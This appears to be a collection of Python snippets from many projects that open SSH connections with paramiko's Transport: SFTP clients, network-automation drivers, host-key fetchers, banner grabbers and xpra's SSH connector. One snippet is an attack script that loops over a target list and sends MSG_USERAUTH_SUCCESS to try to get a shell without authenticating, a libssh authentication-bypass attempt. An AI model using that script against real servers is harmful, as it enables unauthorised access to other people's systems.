def run(self, ip, port=22, timeout=2): try: socket.setdefaulttimeout(timeout) s = socket.socket() s.connect((ip, port)) banner = s.recv(50).strip(b"\r\n").split(b" ") try: self.data["version"] = banner[0].decode() self.data["os"] = banner[1].decode() except IndexError: pass s.send(banner[0] + b"\r\n") self._raw_recv = s.recv(2048) s.close() self._parse_raw_data() tran = Transport((ip, port)) tran.start_client() pubkey = tran.get_remote_server_key() self.data["pubkey_name"] = pubkey.get_name() fp = pubkey.get_fingerprint() self.data["pubkey_fingerprint"] = fp.hex() except Exception as e: print(repr(e)) return None finally: tran.close() return True
def run(self, ip, port=22, timeout=2): try: socket.setdefaulttimeout(timeout) s = socket.socket() s.connect((ip, port)) banner = s.recv(50).strip('\r\n').split(' ') try: self.data["version"] = banner[0] self.data["os"] = banner[1] except IndexError: pass s.send('{}\r\n'.format(banner[0])) self._raw_recv = s.recv(2048) s.close() self._parse_raw_data() tran = Transport((ip, port)) tran.start_client() pubkey = tran.get_remote_server_key() self.data["pubkey_name"] = pubkey.get_name() fp = pubkey.get_fingerprint() self.data["pubkey_fingerprint"] = ':'.join(map(lambda x:x.encode('hex'), fp)) except Exception as e: cprint(str(e), 'error') return None finally: tran.close() self.clear() return True
def _get_server_keys(hostname): server_keys = [] # key_type_list = ["ssh-ed25519", "ssh-rsa", "ecdsa-sha2-nistp256"] # default key_type used by ssh-keysca # Supported key_type for OS # alinux ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256 # ubuntu1404 ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256 # ubuntu1604 ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256 # centos7 ssh-rsa,ssh-ed25519,ecdsa-sha2-nistp256 # centos6 ssh-rsa key_type_list = ["ssh-rsa"] for key_type in key_type_list: transport = None try: sock = socket.socket() sock.settimeout(5) sock.connect((hostname, 22)) transport = Transport(sock) transport._preferred_keys = [key_type] transport.start_client() server_keys.append(transport.get_remote_server_key()) except Exception: pass finally: if transport: transport.close() if not server_keys: logging.error("Failed retrieving server key from host '%s'", hostname) return hostname, [(server_key.get_base64(), server_key.get_name()) for server_key in server_keys]
def _on_open_port(args): host, port, socket = args try: ssh_conn = Transport(socket) if key_type is not None: new_preferred_keys = [key_type] new_preferred_keys.extend(ssh_conn._preferred_keys) ssh_conn._preferred_keys = tuple(new_preferred_keys) try: ssh_conn.start_client() key = ssh_conn.get_remote_server_key() key_md5 = md5(str(key)).hexdigest() fingerprint = ':'.join( a + b for a, b in zip(key_md5[::2], key_md5[1::2])) data_cb(host, port, True, (key.get_name(), fingerprint, b64encode(str(key)))) finally: ssh_conn.close() except (socket_error, NoValidConnectionsError): data_cb(host, port, None, None) except Exception as e: data_cb(host, port, False, 'Exception: {}: {}'.format(type(e), str(e))) finally: socket.close()
def _connect(self): host_id = self._host_cfg['host_id'] host, port = self._host_cfg[host_id, 'host'] user = self._host_cfg[host_id, 'user'] passwd = self._host_cfg[host_id, 'password'] timeout = self._host_cfg[host_id, 'timeout'] or None known_hosts = self._host_cfg[host_id, 'known_hosts'] key_type = self._host_cfg[host_id, 'key_type'] key_file = self._host_cfg[host_id, 'key_file'] key_pass = self._host_cfg[host_id, 'key_pass'] try: if key_type: key = _KEY_TYPES[key_type](filename=key_file, password=key_pass) _logger.debug('private key: %s', key.get_name()) else: key = None hostname = utils.format_knownhost(host, port) hostkeys = HostKeys(known_hosts) transport = Transport((host, port)) transport.start_client(timeout=timeout) hostkey = transport.get_remote_server_key() if not hostkeys.check(hostname, hostkey): raise SSHException('Incorrect hostkey') if key: transport.auth_publickey(user, key) else: transport.auth_password(user, passwd) client = transport.open_sftp_client() client.get_channel().settimeout(timeout) _logger.debug('client for %s created', hostname) return client except (OSError, SSHException) as ex: raise ConnectError(f'Connection to server "{host}:{port}"' f' failed: {ex.args!s}')
def createClient(self): """ create an SSH connection Return:: Transport: Transfer object """ t = None count = 0 event = threading.Event() while count < 3: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.hostname, self.port)) t = Transport(sock) t.start_client(event) event.wait(10) if not event.is_set(): self.logger.warn("start client timeout") if not t.is_active(): raise Exception("start client error") break except (socket.error, EOFError, paramiko.SSHException) as e: self.logger.warn( e, 'host: %s:%s connection failed' % (self.hostname, self.port)) count += 1 sock.close() time.sleep(3) else: raise Exception("Create connect to %s failed" % self.hostname) return t
def connect(username, hostname='lxplus.cern.ch', port=22): "Connect to a given host" print "Connecting to %s@%s" % (username, hostname) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((hostname, port)) except Exception as err: print '*** Connect failed: ' + str(err) sys.exit(1) transport = Transport(sock) try: transport.start_client() except paramiko.SSHException as err: print "SSH negotiation failed\n%s" % str(err) try: keys = paramiko.util.load_host_keys(\ os.path.expanduser('~/.ssh/known_hosts')) except IOError: try: keys = paramiko.util.load_host_keys(\ os.path.expanduser('~/ssh/known_hosts')) except IOError: print '*** Unable to open host keys file' keys = {} # check server's host key -- this is important. key = transport.get_remote_server_key() if not keys.has_key(hostname): print '*** WARNING: Unknown host key!' elif not keys[hostname].has_key(key.get_name()): print '*** WARNING: Unknown host key!' elif keys[hostname][key.get_name()] != key: print '*** WARNING: Host key has changed!!!' sys.exit(1) else: pass # get username if username == '': default_username = getpass.getuser() username = raw_input('Username [%s]: ' % default_username) if len(username) == 0: username = default_username agent_auth(transport, username) if not transport.is_authenticated(): manual_auth(transport, username, hostname) if not transport.is_authenticated(): print '*** Authentication failed. :(' transport.close() sys.exit(1) return transport, sock
def connect(username, hostname='lxplus.cern.ch', port=22): "Connect to a given host" print "Connecting to %s@%s" % (username, hostname) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((hostname, port)) except Exception as err: print '*** Connect failed: ' + str(err) sys.exit(1) transport = Transport(sock) try: transport.start_client() except paramiko.SSHException as err: print "SSH negotiation failed\n%s" % str(err) try: keys = paramiko.util.load_host_keys(\ os.path.expanduser('~/.ssh/known_hosts')) except IOError: try: keys = paramiko.util.load_host_keys(\ os.path.expanduser('~/ssh/known_hosts')) except IOError: print '*** Unable to open host keys file' keys = {} # check server's host key -- this is important. key = transport.get_remote_server_key() if not keys.has_key(hostname): print '*** WARNING: Unknown host key!' elif not keys[hostname].has_key(key.get_name()): print '*** WARNING: Unknown host key!' elif keys[hostname][key.get_name()] != key: print '*** WARNING: Host key has changed!!!' sys.exit(1) else: pass # get username if username == '': default_username = getpass.getuser() username = raw_input('Username [%s]: ' % default_username) if len(username) == 0: username = default_username agent_auth(transport, username) if not transport.is_authenticated(): manual_auth(transport, username, hostname) if not transport.is_authenticated(): print '*** Authentication failed. :(' transport.close() sys.exit(1) return transport, sock
class SftpAuth: def __init__(self, user, hostname, port, rsa_key, remote_dir): self.user = user self.hostname = hostname self.port = port self.rsa_key = rsa_key self.remote_dir = remote_dir logger.info(self.__repr__()) def __repr__(self): return "The sftp instance was initialized. " \ "user={}, hostname={}, port={}, rsa_key={}, remote_dir={}"\ .format(self.user, self.hostname, self.port, self.rsa_key, self.remote_dir) def set_transport(self): logger.debug("Try to initialize transport.") try: self.transport = Transport(f"{self.hostname}:{self.port}") self.transport.start_client(event=None, timeout=15) self.transport.get_remote_server_key() rsa_key = RSAKey.from_private_key_file(self.rsa_key) self.transport.auth_publickey(self.user, rsa_key) except Exception as e: logger.debug(e) print(json.dumps({ "error": { "code": 00, "message": e }, }), flush=True) raise logger.info("Transport was initialized.") def __enter__(self): self.set_transport() self.sftp = SFTPClient.from_transport(self.transport) try: logger.info("Try to make a directory") self.sftp.mkdir(self.remote_dir) except Exception as e: logger.info(e) logger.info(f"Change the current directory into {self.remote_dir}") self.sftp.chdir(self.remote_dir) return self.sftp def __exit__(self, exc_type, exc_val, exc_tb): self.transport.close() self.sftp.close()
def ssh_check(self, sock): private_key = paramiko.RSAKey.from_private_key_file(self.private) transport = Transport(sock=sock) try: transport.start_client() except SSHException as error: Print("{} {}".format(self.username, error), colour="red") try: if self.password is None: transport.auth_publickey(self.username, private_key) else: transport.auth_password(self.username, self.password) if transport.is_authenticated(): Print("{} {} connection Successfully.".format( self.hostname, self.username), colour="green") except ssh_exception.SSHException, e: print("{} {}".format(self.hostname, e.message)) Print("{} {} Error in username or password.".format( self.hostname, self.username), colour="red") # LinuxSSHAuth(hostname='q12469v.cloud.shbt.qihoo.net',username='******').auth() # def ssh_check(hostname,username,password,port=22): # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.settimeout(3) # sock.connect((hostname, port)) # transport = Transport(sock=sock) # try: # transport.start_client() # except SSHException as error: # Print("{} {}".format(hostname, error), "red") # try: # transport.auth_password(username, password) # if transport.is_authenticated(): # Print("{} {} connection Successfully.".format(hostname, username), "green") # except ssh_exception.AuthenticationException, e: # print("{} {}".format(hostname, e.message)) # Print("{} {} Error in username or password.\nExit installation.".format(hostname, username), "red") # # ssh_check(hostname='zjtdev01v.cloud.corp.qihoo.net',username='******',password='******')
def ssh_check(self, sock): private_key = paramiko.RSAKey.from_private_key_file(self.private) transport = Transport(sock=sock) try: transport.start_client() except SSHException as error: Print("{} {}".format(self.username, error), colour="red") try: if self.password is None: transport.auth_publickey(self.username, private_key) else: transport.auth_password(self.username, self.password) if transport.is_authenticated(): Print("{} {} connection Successfully.".format( self.hostname, self.username), colour="green") except ssh_exception.SSHException, e: print("{} {}".format(self.hostname, e.message)) Print("{} {} Error in username or password.".format( self.hostname, self.username), colour="red")
def run(self, ip, port=22, timeout=2): try: socket.setdefaulttimeout(timeout) s = socket.socket() s.connect((ip, port)) banner = s.recv(50).strip('\r\n').split(' ') try: self.data.version = banner[0] self.data.os = banner[1] except IndexError: pass s.send('{}\r\n'.format(banner[0])) self._raw_recv = s.recv(2048) s.close() self._parse_raw_data() # use paramiko to get hostkey because of lazyless... tran = Transport((ip, port)) tran.start_client() pubkey = tran.get_remote_server_key() self.data.pubkey_name = pubkey.get_name() fp = pubkey.get_fingerprint() self.data.pubkey_fingerprint = ':'.join( map(lambda x: x.encode('hex'), fp)) ServicesInfo.add(ip, port, 'ssh', self.data) except Exception as e: cprint(str(e), 'error') return None finally: tran.close() self.clear() return True
def run(self, ip, port=22, timeout=2): try: socket.setdefaulttimeout(timeout) s = socket.socket() s.connect((ip, port)) banner = s.recv(50).strip('\r\n').split(' ') try: self.data.version = banner[0] self.data.os = banner[1] except IndexError: pass s.send('{}\r\n'.format(banner[0])) self._raw_recv = s.recv(2048) s.close() self._parse_raw_data() # use paramiko to get hostkey because of lazyless... tran = Transport((ip, port)) tran.start_client() pubkey = tran.get_remote_server_key() self.data.pubkey_name = pubkey.get_name() fp = pubkey.get_fingerprint() self.data.pubkey_fingerprint = ':'.join(map(lambda x:x.encode('hex'), fp)) ServicesInfo.add(ip, port, 'ssh', self.data) except Exception as e: cprint(str(e), 'error') return None finally: tran.close() self.clear() return True
class MikoTransport(Transport): def __init__( self, host: str, port: int = -1, auth_username: str = "", auth_private_key: str = "", auth_password: str = "", auth_strict_key: bool = True, timeout_socket: int = 5, timeout_transport: int = 5, timeout_exit: bool = True, ssh_config_file: str = "", ssh_known_hosts_file: str = "", ) -> None: """ MikoTransport Object Inherit from Transport ABC MikoTransport <- Transport (ABC) Args: host: host ip/name to connect to port: port to connect to auth_username: username for authentication auth_private_key: path to private key for authentication auth_password: password for authentication auth_strict_key: True/False to enforce strict key checking (default is True) timeout_socket: timeout for establishing socket in seconds timeout_transport: timeout for ssh transport in seconds timeout_exit: True/False close transport if timeout encountered ssh_config_file: string to path for ssh config file ssh_known_hosts_file: string to path for ssh known hosts file Returns: N/A # noqa: DAR202 Raises: N/A """ cfg_port, cfg_user, cfg_private_key = self._process_ssh_config(host, ssh_config_file) if port == -1: port = cfg_port or 22 super().__init__( host, port, timeout_socket, timeout_transport, timeout_exit, ) self.auth_username: str = auth_username or cfg_user self.auth_private_key: str = auth_private_key or cfg_private_key self.auth_password: str = auth_password self.auth_strict_key: bool = auth_strict_key self.ssh_known_hosts_file: str = ssh_known_hosts_file self.session: ParamikoTransport self.channel: Channel self.socket = Socket(host=self.host, port=self.port, timeout=self.timeout_socket) @staticmethod def _process_ssh_config(host: str, ssh_config_file: str) -> Tuple[Optional[int], str, str]: """ Method to parse ssh config file In the future this may move to be a 'helper' function as it should be very similar between paramiko and and ssh2-python... for now it can be a static method as there may be varying supported args between the two transport drivers. Args: host: host to lookup in ssh config file ssh_config_file: string path to ssh config file; passed down from `Scrape`, or the `NetworkDriver` or subclasses of it, in most cases. Returns: Tuple: port to use for ssh, username to use for ssh, identity file (private key) to use for ssh auth Raises: N/A """ ssh = SSHConfig(ssh_config_file) host_config = ssh.lookup(host) return host_config.port, host_config.user or "", host_config.identity_file or "" def open(self) -> None: """ Parent method to open session, authenticate and acquire shell Args: N/A Returns: N/A # noqa: DAR202 Raises: Exception: if socket handshake fails ScrapliAuthenticationFailed: if all authentication means fail """ if not self.socket.socket_isalive(): self.socket.socket_open() try: self.session = ParamikoTransport(self.socket.sock) self.session.start_client() except Exception as exc: LOG.critical(f"Failed to complete handshake with host {self.host}; Exception: {exc}") raise exc if self.auth_strict_key: LOG.debug(f"Attempting to validate {self.host} public key") self._verify_key() self._authenticate() if not self._isauthenticated(): msg = f"Authentication to host {self.host} failed" LOG.critical(msg) raise ScrapliAuthenticationFailed(msg) self._open_channel() def _verify_key(self) -> None: """ Verify target host public key, raise exception if invalid/unknown Args: N/A Returns: N/A # noqa: DAR202 Raises: KeyVerificationFailed: if host is not in known hosts KeyVerificationFailed: if host is in known hosts but public key does not match """ known_hosts = SSHKnownHosts(self.ssh_known_hosts_file) if self.host not in known_hosts.hosts.keys(): raise KeyVerificationFailed(f"{self.host} not in known_hosts!") remote_server_key = self.session.get_remote_server_key() remote_public_key = remote_server_key.get_base64() if known_hosts.hosts[self.host]["public_key"] != remote_public_key: raise KeyVerificationFailed( f"{self.host} in known_hosts but public key does not match!" ) def _authenticate(self) -> None: """ Parent method to try all means of authentication Args: N/A Returns: N/A # noqa: DAR202 Raises: ScrapliAuthenticationFailed: if authentication fails """ if self.auth_private_key: self._authenticate_public_key() if self._isauthenticated(): LOG.debug(f"Authenticated to host {self.host} with public key auth") return if not self.auth_password or not self.auth_username: msg = ( f"Failed to authenticate to host {self.host} with private key " f"`{self.auth_private_key}`. Unable to continue authentication, " "missing username, password, or both." ) LOG.critical(msg) raise ScrapliAuthenticationFailed(msg) self._authenticate_password() if self._isauthenticated(): LOG.debug(f"Authenticated to host {self.host} with password") def _authenticate_public_key(self) -> None: """ Attempt to authenticate with public key authentication Args: N/A Returns: N/A # noqa: DAR202 Raises: N/A """ try: paramiko_key = RSAKey(filename=self.auth_private_key) self.session.auth_publickey(self.auth_username, paramiko_key) except AuthenticationException as exc: LOG.critical( f"Public key authentication with host {self.host} failed. Exception: {exc}." ) except Exception as exc: # pylint: disable=W0703 LOG.critical( "Unknown error occurred during public key authentication with host " f"{self.host}; Exception: {exc}" ) def _authenticate_password(self) -> None: """ Attempt to authenticate with password authentication Args: N/A Returns: N/A # noqa: DAR202 Raises: Exception: if unknown (i.e. not auth failed) exception occurs """ try: self.session.auth_password(self.auth_username, self.auth_password) except AuthenticationException as exc: LOG.critical( f"Password authentication with host {self.host} failed. Exception: {exc}." "\n\tNote: Paramiko automatically attempts both standard auth as well as keyboard " "interactive auth. Paramiko exception about bad auth type may be misleading!" ) except Exception as exc: LOG.critical( "Unknown error occurred during password authentication with host " f"{self.host}; Exception: {exc}" ) raise exc def _isauthenticated(self) -> bool: """ Check if session is authenticated Args: N/A Returns: bool: True if authenticated, else False Raises: N/A """ authenticated: bool = self.session.is_authenticated() return authenticated def _open_channel(self) -> None: """ Open channel, acquire pty, request interactive shell Args: N/A Returns: N/A # noqa: DAR202 Raises: N/A """ self.channel = self.session.open_session() self.set_timeout(self.timeout_transport) self.channel.get_pty() self.channel.invoke_shell() LOG.debug(f"Channel to host {self.host} opened") def close(self) -> None: """ Close session and socket Args: N/A Returns: N/A # noqa: DAR202 Raises: N/A """ self.channel.close() LOG.debug(f"Channel to host {self.host} closed") self.socket.socket_close() def isalive(self) -> bool: """ Check if socket is alive and session is authenticated Args: N/A Returns: bool: True if socket is alive and session authenticated, else False Raises: N/A """ if self.socket.socket_isalive() and self.session.is_alive() and self._isauthenticated(): return True return False def read(self) -> bytes: """ Read data from the channel Args: N/A Returns: bytes: bytes output as read from channel Raises: N/A """ channel_read: bytes = self.channel.recv(65535) return channel_read def write(self, channel_input: str) -> None: """ Write data to the channel Args: channel_input: string to send to channel Returns: N/A # noqa: DAR202 Raises: N/A """ self.channel.send(channel_input) # type: ignore def set_timeout(self, timeout: int) -> None: """ Set session timeout Args: timeout: timeout in seconds Returns: N/A # noqa: DAR202 Raises: N/A """ self.channel.settimeout(timeout)
try: # First we're going to assume you can read. with open(sys.argv[1]) as ssh_targets: s = socket.socket() # Let's get rid of the '\n' that infests people who use .readlines() while forcing them to utilize .rstrip() ip_list = ssh_targets.read().splitlines() for ip in ip_list: try: print("Attempting to connect to {}:{}...".format(ip, port)) s.connect((ip, port)) msg = Message() trans = Transport(s) trans.start_client() print("Attempting to send MSG_USERAUTH_SUCCESS...") msg.add_byte(common.cMSG_USERAUTH_SUCCESS) cmd = trans.open_session() print("Attempting to load shell...") cmd.invoke_shell() except Exception as e: print(str(e)) except FileNotFoundError as e: print("File not found: {}".format(sys.argv[1])) except Exception as e: print("Possible PEKBAC error: {}".format(str(e)))
def do_ssh_paramiko_connect_to(sock, host, port, username, password, proxy_command, remote_xpra, socket_dir, display_as_args, target): from paramiko import SSHException, Transport, Agent, RSAKey, PasswordRequiredException from paramiko.hostkeys import HostKeys transport = Transport(sock) transport.use_compression(False) log("SSH transport %s", transport) try: transport.start_client() except SSHException as e: log("start_client()", exc_info=True) raise InitException("SSH negotiation failed: %s" % e) host_key = transport.get_remote_server_key() assert host_key, "no remote server key" log("remote_server_key=%s", keymd5(host_key)) if VERIFY_HOSTKEY: host_keys = HostKeys() host_keys_filename = None KNOWN_HOSTS = get_ssh_known_hosts_files() for known_hosts in KNOWN_HOSTS: host_keys.clear() try: path = os.path.expanduser(known_hosts) if os.path.exists(path): host_keys.load(path) log("HostKeys.load(%s) successful", path) host_keys_filename = path break except IOError: log("HostKeys.load(%s)", known_hosts, exc_info=True) log("host keys=%s", host_keys) keys = host_keys.lookup(host) known_host_key = (keys or {}).get(host_key.get_name()) def keyname(): return host_key.get_name().replace("ssh-", "") if host_key==known_host_key: assert host_key log("%s host key '%s' OK for host '%s'", keyname(), keymd5(host_key), host) else: if known_host_key: log.warn("Warning: SSH server key mismatch") qinfo = [ "WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!", "IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!", "Someone could be eavesdropping on you right now (man-in-the-middle attack)!", "It is also possible that a host key has just been changed.", "The fingerprint for the %s key sent by the remote host is" % keyname(), keymd5(host_key), ] if VERIFY_STRICT: log.warn("Host key verification failed.") #TODO: show alert with no option to accept key qinfo += [ "Please contact your system administrator.", "Add correct host key in %s to get rid of this message.", "Offending %s key in %s" % (keyname(), host_keys_filename), "ECDSA host key for %s has changed and you have requested strict checking." % keyname(), ] sys.stderr.write(os.linesep.join(qinfo)) transport.close() raise InitExit(EXIT_SSH_KEY_FAILURE, "SSH Host key has changed") if not confirm_key(qinfo): transport.close() raise InitExit(EXIT_SSH_KEY_FAILURE, "SSH Host key has changed") else: assert (not keys) or (host_key.get_name() not in keys) if not keys: log.warn("Warning: unknown SSH host") else: log.warn("Warning: unknown %s SSH host key", keyname()) qinfo = [ "The authenticity of host '%s' can't be established." % (host,), "%s key fingerprint is" % keyname(), keymd5(host_key), ] if not confirm_key(qinfo): transport.close() raise InitExit(EXIT_SSH_KEY_FAILURE, "Unknown SSH host '%s'" % host) if ADD_KEY: try: if not host_keys_filename: #the first one is the default, #ie: ~/.ssh/known_hosts on posix host_keys_filename = os.path.expanduser(KNOWN_HOSTS[0]) log("adding %s key for host '%s' to '%s'", keyname(), host, host_keys_filename) if not os.path.exists(host_keys_filename): keys_dir = os.path.dirname(host_keys_filename) if not os.path.exists(keys_dir): log("creating keys directory '%s'", keys_dir) os.mkdir(keys_dir, 0o700) elif not os.path.isdir(keys_dir): log.warn("Warning: '%s' is not a directory") log.warn(" key not saved") if os.path.exists(keys_dir) and os.path.isdir(keys_dir): log("creating known host file '%s'", host_keys_filename) with umask_context(0o133): with open(host_keys_filename, 'a+'): pass host_keys.add(host, host_key.get_name(), host_key) host_keys.save(host_keys_filename) except OSError as e: log("failed to add key to '%s'", host_keys_filename) log.error("Error adding key to '%s'", host_keys_filename) log.error(" %s", e) except Exception as e: log.error("cannot add key", exc_info=True) def auth_agent(): agent = Agent() agent_keys = agent.get_keys() log("agent keys: %s", agent_keys) if agent_keys: for agent_key in agent_keys: log("trying ssh-agent key '%s'", keymd5(agent_key)) try: transport.auth_publickey(username, agent_key) if transport.is_authenticated(): log("authenticated using agent and key '%s'", keymd5(agent_key)) break except SSHException: log("agent key '%s' rejected", keymd5(agent_key), exc_info=True) if not transport.is_authenticated(): log.info("agent authentication failed, tried %i key%s", len(agent_keys), engs(agent_keys)) def auth_publickey(): log("trying public key authentication") for keyfile in ("id_rsa", "id_dsa"): keyfile_path = osexpand(os.path.join("~/", ".ssh", keyfile)) if not os.path.exists(keyfile_path): log("no keyfile at '%s'", keyfile_path) continue key = None try: key = RSAKey.from_private_key_file(keyfile_path) except PasswordRequiredException: log("%s keyfile requires a passphrase", keyfile_path) passphrase = input_pass("please enter the passphrase for %s:" % (keyfile_path,)) if passphrase: try: key = RSAKey.from_private_key_file(keyfile_path, passphrase) except SSHException as e: log("from_private_key_file", exc_info=True) log.info("cannot load key from file '%s':", keyfile_path) log.info(" %s", e) if key: log("auth_publickey using %s: %s", keyfile_path, keymd5(key)) try: transport.auth_publickey(username, key) except SSHException as e: log("key '%s' rejected", keyfile_path, exc_info=True) log.info("SSH authentication using key '%s' failed:", keyfile_path) log.info(" %s", e) else: if transport.is_authenticated(): break def auth_none(): log("trying none authentication") try: transport.auth_none(username) except SSHException as e: log("auth_none()", exc_info=True) def auth_password(): log("trying password authentication") try: transport.auth_password(username, password) except SSHException as e: log("auth_password(..)", exc_info=True) log.info("SSH password authentication failed: %s", e) banner = transport.get_banner() if banner: log.info("SSH server banner:") for x in banner.splitlines(): log.info(" %s", x) log("starting authentication") if not transport.is_authenticated() and NONE_AUTH: auth_none() if not transport.is_authenticated() and PASSWORD_AUTH and password: auth_password() if not transport.is_authenticated() and AGENT_AUTH: auth_agent() if not transport.is_authenticated() and KEY_AUTH: auth_publickey() if not transport.is_authenticated() and PASSWORD_AUTH and not password: for _ in range(1+PASSWORD_RETRY): password = input_pass("please enter the SSH password for %s@%s" % (username, host)) if not password: break auth_password() if transport.is_authenticated(): break if not transport.is_authenticated(): transport.close() raise InitException("SSH Authentication failed") assert len(remote_xpra)>0 log("will try to run xpra from: %s", remote_xpra) for xpra_cmd in remote_xpra: try: chan = transport.open_session(window_size=None, max_packet_size=0, timeout=60) chan.set_name("find %s" % xpra_cmd) except SSHException as e: log("open_session", exc_info=True) raise InitException("failed to open SSH session: %s" % e) cmd = "which %s" % xpra_cmd log("exec_command('%s')", cmd) chan.exec_command(cmd) #poll until the command terminates: start = monotonic_time() while not chan.exit_status_ready(): if monotonic_time()-start>10: chan.close() raise InitException("SSH test command '%s' timed out" % cmd) log("exit status is not ready yet, sleeping") time.sleep(0.01) r = chan.recv_exit_status() log("exec_command('%s')=%s", cmd, r) chan.close() if r!=0: continue cmd = xpra_cmd + " " + " ".join(shellquote(x) for x in proxy_command) if socket_dir: cmd += " \"--socket-dir=%s\"" % socket_dir if display_as_args: cmd += " " cmd += " ".join(shellquote(x) for x in display_as_args) log("cmd(%s, %s)=%s", proxy_command, display_as_args, cmd) #see https://github.com/paramiko/paramiko/issues/175 #WINDOW_SIZE = 2097152 log("trying to open SSH session, window-size=%i, timeout=%i", WINDOW_SIZE, TIMEOUT) try: chan = transport.open_session(window_size=WINDOW_SIZE, max_packet_size=0, timeout=TIMEOUT) chan.set_name("run-xpra") except SSHException as e: log("open_session", exc_info=True) raise InitException("failed to open SSH session: %s" % e) else: log("channel exec_command(%s)" % cmd) chan.exec_command(cmd) info = { "host" : host, "port" : port, } conn = SSHSocketConnection(chan, sock, target, info) conn.timeout = SOCKET_TIMEOUT conn.start_stderr_reader() child = None conn.process = (child, "ssh", cmd) return conn raise Exception("all SSH remote proxy commands have failed")
class SSH2NetSessionParamiko: def __init__(self, p_self): """ Initialize SSH2NetSessionParamiko Object This object, through composition, allows for using Paramiko as the underlying "driver" for SSH2Net instead of the default "ssh2-python". Paramiko will be ever so slightly slower but as you will most likely be I/O constrained it shouldn't matter! "ssh2-python" as of 20 October 2019 has a bug preventing keyboard interactive authentication from working as desired; this is the reason Paramiko is in here now! Args: p_self: SSH2Net object Returns: N/A # noqa Raises: N/A # noqa """ self.__dict__ = p_self.__dict__ self._session_alive = p_self._session_alive self._session_open = p_self._session_open self._channel_alive = p_self._channel_alive def _session_open_connect(self) -> None: """ Perform session handshake for paramiko (instead of default ssh2-python) Args: N/A # noqa Returns: N/A # noqa Raises: RequirementsNotSatisfied: if paramiko is not installed Exception: catch all for unknown exceptions during session handshake """ try: from paramiko import Transport # noqa except ModuleNotFoundError as exc: err = f"Module '{exc.name}' not installed!" msg = f"***** {err} {'*' * (80 - len(err))}" fix = ( f"To resolve this issue, install '{exc.name}'. You can do this in one of the " "following ways:\n" "1: 'pip install -r requirements-paramiko.txt'\n" "2: 'pip install ssh2net[paramiko]'") warning = "\n" + msg + "\n" + fix + "\n" + msg warnings.warn(warning) raise RequirementsNotSatisfied try: self.session = Transport(self.sock) self.session.start_client() self.session.set_timeout = self._set_timeout except Exception as exc: logging.critical( f"Failed to complete handshake with host {self.host}; " f"Exception: {exc}") raise exc def _session_public_key_auth(self) -> None: """ Perform public key based auth on SSH2NetSession Args: N/A # noqa Returns: N/A # noqa Raises: Exception: catch all for unhandled exceptions """ try: self.session.auth_publickey(self.auth_user, self.auth_public_key) except AuthenticationException: logging.critical( f"Public key authentication with host {self.host} failed.") except Exception as exc: logging.critical( "Unknown error occurred during public key authentication with host " f"{self.host}; Exception: {exc}") raise exc def _session_password_auth(self) -> None: """ Perform password or keyboard interactive based auth on SSH2NetSession Args: N/A # noqa Returns: N/A # noqa Raises: AuthenticationFailed: if authentication fails Exception: catch all for unknown other exceptions """ try: self.session.auth_password(self.auth_user, self.auth_password) except AuthenticationException as exc: logging.critical( f"Password authentication with host {self.host} failed. Exception: {exc}." "\n\tNote: Paramiko automatically attempts both standard auth as well as keyboard " "interactive auth. Paramiko exception about bad auth type may be misleading!" ) raise AuthenticationFailed except Exception as exc: logging.critical( "Unknown error occurred during password authentication with host " f"{self.host}; Exception: {exc}") raise exc def _channel_open_driver(self) -> None: """ Open channel Args: N/A # noqa Returns: N/A # noqa Raises: N/A # noqa """ self.channel = self.session.open_session() self.channel.get_pty() logging.debug(f"Channel to host {self.host} opened") def _channel_invoke_shell(self) -> None: """ Invoke shell on channel Additionally, this "re-points" some ssh2net method calls to the appropriate paramiko methods. This happens as ssh2net is primarily built on "ssh2-python" and there is not full parity between paramiko/ssh2-python. Args: N/A # noqa Returns: N/A # noqa Raises: N/A # noqa """ self._shell = True self.channel.invoke_shell() self.channel.read = self._paramiko_read_channel self.channel.write = self.channel.sendall self.session.set_blocking = self._set_blocking self.channel.flush = self._flush def _paramiko_read_channel(self): """ Patch channel.read method for paramiko driver "ssh2-python" returns a tuple of bytes and data, "paramiko" simply returns the data from the channel, patch this for parity with "ssh2-python". Args: N/A # noqa Returns: N/A # noqa Raises: N/A # noqa """ channel_read = self.channel.recv(1024) return None, channel_read def _flush(self): """ Patch a "flush" method for paramiko driver Need to investigate this further for two things: 1) is "flush" even necessary when using ssh2-python driver? 2) if it is necessary, is there a combination of reads/writes that would implement this in a sane fashion for paramiko Args: N/A # noqa Returns: N/A # noqa Raises: N/A # noqa """ while True: time.sleep(0.01) if self.channel.recv_ready(): self._paramiko_read_channel() else: self.channel.write("\n") return def _set_blocking(self, blocking): # Add docstring # need to reset timeout because it seems paramiko sets it to 0 if you set to non blocking # paramiko uses seconds instead of ms self.channel.setblocking(blocking) self.channel.settimeout(self.session_timeout / 1000) def _set_timeout(self, timeout): # paramiko uses seconds instead of ms self.channel.settimeout(timeout / 1000)
class ParamikoSshConnection(BaseSshConnection): def connect(self, wait_prompt=True): self.socket = socket(AF_INET, SOCK_STREAM) self.socket.connect((self.hostname, self.port)) self.session = Transport(self.socket) self.session.start_client() if self.password is not None: self.session.auth_password(self.username, self.password) elif self.key_algorithm != DSA_KEY_ALGORITHM: key = RSAKey.from_private_key_file( self.private_key_file, self.key_passphrase ) self.session.auth_publickey(self.username, key) else: key = DSSKey.from_private_key_file( self.private_key_file, self.key_passphrase ) self.session.auth_publickey(self.username, key) self.channel = self.session.open_session() self.channel.get_pty() self.channel.invoke_shell() if wait_prompt: self.receive() @property def connected(self): return bool( self.socket and not self.socket._closed and self.session and self.channel ) def send(self, line, socket_timeout=None): socket_timeout = ( socket_timeout if socket_timeout is not None else self.socket_timeout ) self.channel.settimeout(socket_timeout) size = self.channel.sendall(line + "\n") return size def receive( self, regex=None, socket_timeout=None, timeout=None, buffer_size=None ): regex = regex if regex is not None else self.prompt_regex socket_timeout = ( socket_timeout if socket_timeout is not None else self.socket_timeout ) timeout = timeout if timeout is not None else self.timeout buffer_size = ( buffer_size if buffer_size is not None else self.buffer_size ) assert regex is not None assert socket_timeout is None or isinstance( socket_timeout, (int, float) ) assert timeout is None or isinstance(timeout, (int, float)) assert isinstance(buffer_size, int) 